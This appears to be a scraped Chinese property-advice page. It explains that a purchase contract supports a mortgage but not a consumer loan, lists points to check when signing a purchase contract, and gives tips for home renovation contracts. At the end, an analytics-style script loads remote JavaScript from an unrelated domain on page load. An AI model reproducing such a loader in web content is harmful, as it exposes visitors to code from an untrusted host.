用购房合同能贷款吗？购房合同签注意事项

买过房子的人都应该知道吧!在买房的时候是药签购房合同的，因为购房合同是房子所有权的一种有效证明。在现实生活当中有很多的人拿房子做抵押，或者是贷款，这是经常发生的一些事情。一般人们在抵押房子的时候是拿房产证进行抵押的。很多人都在问拿购房合同能不能进行一些抵押或者是贷款呢?接下来小编就好好为大家做一下相关的介绍吧!购房合同能贷款吗?如果是按揭，可以由开发商协助办贷款手续，不需要等房产证下来，签了合同就可以办。做消费抵押贷款不行因为房子在未办理权属过户时，准确的说，这套房子还在开发商的名下，只有开发商具备交房条件后，由开发商办理权属登记，业主凭购房合同以及权属证明书，开发商出具的权属转移申请表才能办理房产证，这个时候房子才真正到你的名下，房地局的官方网站上才能查到你的信息。购房合同签注意事项：首先提醒您在决定交纳首付签订合同之前，要确定项目的证件齐全，您可以在其销售部要求查看这些证件，只有证件齐全才会减少购房风险，也可以办理按揭贷款。现在西安市已经取得预售证的期房都实行网签，网签和纸质合同内容相同，只是签订方式不同而已。签合同时，需要注意以下事项：第一，一定要审查开发商是否具有商品房预售许可证，有了预售证许可证，则通常开发商也具有了土地使用证、规划许可证、建设工程许可证等。这是买房能否办房产证的关键。第二，一定要采用房地产管理部门统一印制的标准房屋买卖合同文本，并按照文本中所列条款逐条逐项填写，千万不能马虎。目前西安实行网签备案，但合同内同纸质的合同相同。第三，一定要注意合同条款中双方所填写的内容中权利与义务是否对等。有一些开发商的合同文本事先已填写好甚至补充条款也由自己填好，这种填写好的合同文本大多存在着约定的权利义务不平等的情况。一旦发生此种情况，买房人一定要提出自己的意见，决不能草率行事。第四，面积确认及面积差异处理。如果选择按套内建筑面积为依据进行面积确认及面积差异处理时，应当在“面积差异处理”条款中明确面积发生误差时的处理方式。只有在合同中对面积差异有了详尽的约定后，才能避免上当。第五，一定要讲究房屋买卖的付款方式是否规范。在合同中对付款的数额、期限、方式及违约责任等作出约定。有的开发商不是先签订合同，而是先让购房者交纳一定数额的定金，只给购房者一个收条，一旦发生纠纷往往造成购房者在追究其责任方面的举证困难。第六，一定要认准交房日期是否确定。资金不足而延期交房是常有的事，开发商在预售合同上往往大做文章，如只注明竣工日期，而不注明交付使用日期;运用“水电气安装后、质量验收合格后、小区配套完成后”等一些模糊语言。对此，购房者在签订合同时，一定要将交房日期明白无误地规定为“某年某月某日”，并注明开发商不能按时交房所需承担的责任。第七，在签订房屋买卖合同时，最好请律师或行家从法律的角度代你审查合同文本，以减少一些不必要的损失。另外，在签约时需要注意，对于开发商提出的自己认为不合理的条款，需要提出自己的修改意见，进行协商，合同是当事人协商一致的产物，如果双方无法形成合意的话，合同就无法成立。在合意的过程当中，任何一方都无权强制对方，任何一方都有不签订合同的权利。如果您认为您的利益在合同当中无法保障，而开发商又不同意修改或补充的话，购房者有权重新选择开发商及楼盘。关于购房合同贷款的相关事情小编已经为大家介绍完了，如果大家对这方面的知识比较欠缺的话可以好好的了解一下小编给大家做的介绍。相信小编的介绍一定会对大家有所帮助的。住房问题无论是什么时候都是人的首要问题，我们应该努力工作争取尽早买一套属于自己的房子，这样的话我们的生活质量就会提高不少了。现在购房的方式也比较多，大家感兴趣的话可以进一步去了解。

房屋装修合同注意事项 不想被坑就必须知道

当人们找到合适的装修公司进行合作时，是一定要签订装修合同的。装修合同主要是为了规范双方的权利和义务。如果后续行动存在各种争议，将以书面合同为依据。但是很多业主对房屋装修合同注意事项并不十分了解，在双方面临装修问题时就不能更好的维护自己的合法权益。一、房屋装修合同注意事项之签订之前在大家签订合同之前，业主们对自己的装修不能有疑问或者顾虑，不然很容易受到装修公司的营销影响，或在装修过程中更改原本的设计，对施工造成影响。如果您对设计的方案，装修的材料，工程的质量等没有清楚的了解，那么建议不要急于签订装修合同。一定要先把这些问题都搞清楚，然后再考虑合同的签订问题。二、房屋装修合同注意事项之预算大家签订合同时，一定要明确合同中预算清单详细的信息。例如，材料的品牌，型号，系列和价格，装修合同中的设计的图纸，施工的计划，项目的预算以及业主和装修公司的材料采购的订单，必须每样都要有，防止装修公司在施工中增加不该有的预算。三、房屋装修合同注意事项之付款具体方式在合同中，必须要清晰的说明付款的方式。一般来说，装修有两种付款方式。第一个是在施工开始前支付60%。在项目进展一半后，剩余的40%再支付给装修公司所在的家庭交易市场，由交易市场根据装修质量和施工进度支付;第二种类型是支付3笔付款，其中60%在装修开始前支付，余下的35%在进行过半时付款，而最后的5%的支付时间则是在户主验收过之后。四、房屋装修合同注意事项之增项签合同时，大家一定要注意装修费用的增加。在装修期间，或多或少会由于材料不足，有些地方需要更换，这就增加了材料的成本，需要收取额外费用。一般而言，行业内增项费用不会超过总额的5%。如果超过了，则可由装修公司承担。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();